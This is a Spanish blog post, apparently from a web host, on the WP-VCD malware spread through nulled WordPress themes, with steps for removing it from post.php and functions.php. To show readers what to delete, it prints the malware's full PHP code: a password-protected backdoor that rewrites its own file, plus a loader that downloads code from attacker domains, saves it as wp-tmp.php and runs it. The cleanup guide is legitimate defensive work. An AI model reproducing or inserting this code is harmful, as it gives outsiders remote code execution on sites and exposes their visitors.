WP-VCD el Virus más Extendido en WordPress – Cómo Eliminarlo

Categorias: Wordpress

Virus y malware para WordPress hay un montón, pero ninguno está más extendido que WP-VCD.

Sin duda, la infección WP-VCD es la número uno, la que se lleva el gato al agua, la que más difundida está y la que más instalaciones de WordPress consigue infectar al cabo del año.

Y lo pero de todo, es que en la mayoría de los casos, el responsable de que tu WordPress acabe siendo afectado por el malware WP-VCD, ¡eres tú mismo!.

Pues si, WP-VCD se propaga por medio de plugins o themes pirateados que se descargan de sitios no oficiales y de poca confianza.

Un cosa, si ve la palabra NULLED en un producto de pago, como puede ser el popular theme de WordPress Divi, no significa versión de prueba, ni gratuita.
NULLED no significa gratuito, significa pirateado y es más que posible que hayan modificado el código para poder hackear tu web más tarde o temprano.

Nulled significa Anulado y esto es así porque un tercero lo ha descargado y modificado su código para que puedas utilizarlo sin pagar, pero al modificar el código ¡puede hacer lo que quiera! y te aseguro que lo hará, de una forma u otra se «cobrará» el favor que te hace al poder usar algo que tiene un coste de manera gratuita.

Puede que no al principio, pueden pasar meses, cuando ya tengas la web montada y todo el sistema en producción, pero al final… ¡¡te hackerán la web!!

Hemos usado como ejemplo el theme Divi y no es casualidad, ya que en la mayoría de los casos donde encontramos el malware WP-VCP, es en este theme, pero no significa que sea el único.

En plugins de pago «nulled» también lo podemos encontrar y otros themes populares como Eduma, Cesis o Cerato.

Si buscas «Cerato theme» en Google , verás que te lleva a página de venta de Themeforest.net y que tiene un precio:

cerato theme original con su precio

y su buscas «Cerato theme free» verás un montón de resultados que te llevan a sitios como «downoladfreethems» y cosas parecidas.

Todas estas opciones son piratas o nulled, como quieras llamarlas, pero si las usas tienes un porcentaje altísimo de conocer a WP-VCD en primera persona.

cerato theme free nulled o piratas


Hosting Genérico


Qué Hace WP-VCD  con mi WordPress

Él o los creadores de WP-VCD han cambiado sus estrategias de monetización a lo largo del tiempo, pero hay algunas constantes.

Por ejemplo añaden enlaces hacia sus sitios web de descarga para posicionarse en Google y el resto de los buscadores en las primeras posiciones, como hemos mostrado en la captura de pantalla anterior.

De esta manera consiguen más «clientes» y pueden propagar con mayor rapidez.

Luego añaden publicidad con contenido malicioso que se mostrará a los visitantes de tu web, bien para ganar dinero con la publicidad, bien para intentar engañarles por medio de alguna trampa phishing.

Por cierto, tú, como administrador de WordPress, no verás esa publicidad, sólo la verán los visitantes, de esta manera tardarás más en darte cuenta de que existe un problema y ellos ganarán más.

Aunque si eres cliente de Hostinet, nosotros lo detectaremos y te informaremos de que tu WordPress está infectado con WP-VCD.

Incluso pueden redireccionar todo tu sitio a otra URL directamente, vamos, que pueden hacer prácticamente lo que quieran.

Cómo Elimino WP-VCD de mi WordPress

Antes te hemos comentado que Hostinet te avisaría si detecta que t sitio ha sido infectado.

Esto es así porque hacemos un escaneo de seguridad en busca de malware o virus que se hayan podido colar en tu hosting y esto está incluido en precio que pagas por tu alojamiento web, así que nos tienes cómo el antivirus particular de tu WordPress.

Si detectamos algún problema, pondremos los archivos comprometidos en cuarentena, protegeremos tu web con usuario y contraseña para que nadie más se vea afectado.

Te enviaremos un email explicándote el problema e indicándote cuáles son los archivos infectados. Algo parecido a esto:

email aviso codigo malicioso de Hostinet

El malware WP_VCD afecta principalmente a los siguientes archivos:

Aunque en las últimas versiones el archivo wp-feed.php no se encuentra y esto puede varia en cualquier momento, ya hemos advertido que el virus WP-VCD puede cambiar o mutar como sus creadores lo crean conveniente.

En cualquier caso, en el email que te enviaremos te mostraremos los archivos con problemas.

De estos archivos, sólo nos importan dos de ellos:

El resto puedes eliminarlos directamente, son parte de WP-VCD y no afectará al sitio web, pero el archivo functions.php y post.php sin imprescindibles para el funcionamiento de tu theme y tienes que limpiarlos.

Por cierto, es un buen momento para decirte que da igual que el theme nulled no esté activo, si está en la carpeta themes de WordPress, WP-VCD se propagará al resto de themes instalados.

Para limpiar estos archivos, yo prefiero descargarlos y editarlo desde el ordenador con cualquiera de los editores de texto que recomendamos en este post.

Para descargarlos, entras a cPanel y vas al Administrador de Archivos. Allí encontrarás la carpeta Cuarentena y los archivos infectados.

La ruta será algo así:

cuarentena/home/TuUsuario/public_html/wp-content/themes/TuTheme/functions.php
cuarentena/home/TuUsuario/public_html/wp-includes/post.php

localizar archivos infectados - Administrador Archivos cPanel

En la captura puedes ver que el theme infecrtado es Divi, pero como hemos comentado antes, no siempre es así, WP-VCD puede haber entrado por ahí y luego infectar un theme legítimo.

Limpiar post.php

Una vez descargados los archivos abrimos primero el archivo post.php con cualquier editor de texto mencionado en el anterior enlace.

Veremos algo así:

captura post.php infectado wp-vcd

Como verás, al principio del código hay una linea que hace referencia al archivo wp-vcd.php y el código será este o muy parecido:

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>

Lo que tenemos que hacer es eliminar esta linea de código y guardar el archivo post.php, ya limpio, pero ¡¡cuidado!! No borrar el <?php del final.

Tiene que quedar algo así:

archivo post. php limpio sin wp-vcd

 

Limpiar Functions.php

Ahora abrimos el otro archivo, functions.php, aquí el trabajo es más complicado, ya que el código que tenemos que eliminar es más grande.

Tendrás que hacer scroll para localizar el final.

Mi recomendación es que vayas hacia abajo hasta que encuentres el final del código que será algo así:

fuctions.php final codigo wp-vc

Fíjate que en la captura estamos en la línea 184, así que es un pedazo de código.

Para seleccionarlo, tienes que tener cuidado con no borrar también <?php, como hemos hecho antes en el otro archivo, ya que la última línea acaba así: ?><?php

Este es todo el código que tenemos que eliminar:

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '913518a8045985658f18cebc523df95c'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='38fe324f1e4c10f398ec3de5ba615271';
        if (($tmpcontent = @file_get_contents("http://www.wrilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.wrilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.wrilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.wrilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>

 

Os tendrá que quedar un archivo functions.php parecido a esto:

functions.php limpio sin vp-vcd

Una vez limpios y guardados los archivos, hay que volver a ponerlos en su sitio, pero no en la carpeta de cuarentena, si no en la ruta que corresponda a cada archivo.

public_html/wp-content/themes/TuTheme/functions.php
/public_html/wp-includes/post.php

Después de subir los archivos, sigue las instrucciones del email que te hayamos enviado, es decir actualizar todo, cambiar contraseñas, escanear el equipo en busca de virus, etc…

También es conveniente que busques entre los usuarios de WordPress con permisos de administrador, por si ves alguno que no debiera estar ahí, eliminarlo cuanto antes.

Si nos respondes al email indicándonos los pasos que has realizado y enviado la captura de pantalla que solicitamos, la incidencia se dará por finalizada y tu web estará activa después de que revisemos que todo está correcto.

¡¡Ah!! y una cosa que no está en el email, ¡¡no vuelvas a usar plugins o themes nulled!!

Cosas a Tener en Cuenta

Como has visto, limpiar un sitio WordPress infectado con WP-VCD es tedioso y más si nunca has trabajado con editores de código.

Además, esto es lo que sabemos hasta ahora, pero los creadores del malware WP-VCD pueden cambiar su forma de actuar cuando quieran.

Los themes nulled o los plugins piratas son la puerta de acceso, luego pueden desarrollar los ataques con más o menos sofisticación, así que es posible que lo dicho en este post, publicado en diciembre de 2019, no sierva para nada a mediados de 2020.

Y piensa que todo este follón lo puedes provocar tú mismo, instalado un detonante llamado nulled…. ¿vale la pena?.

Si quieres toda la información detallada sobre el malware WP-VCD, incluida la empresa que está detrás y muchos más datos jugosos, puedes ver el informe completo que los chicos de Wordfence han publicado y animan a difundir.

Es un PDF de 27 páginas y está en inglés, pero es muy revelador:
WP-VCD: The Malware You Installed On Your Own Site

Hosting WordPress con SSD y LiteSpeed

 

Hosting WordPress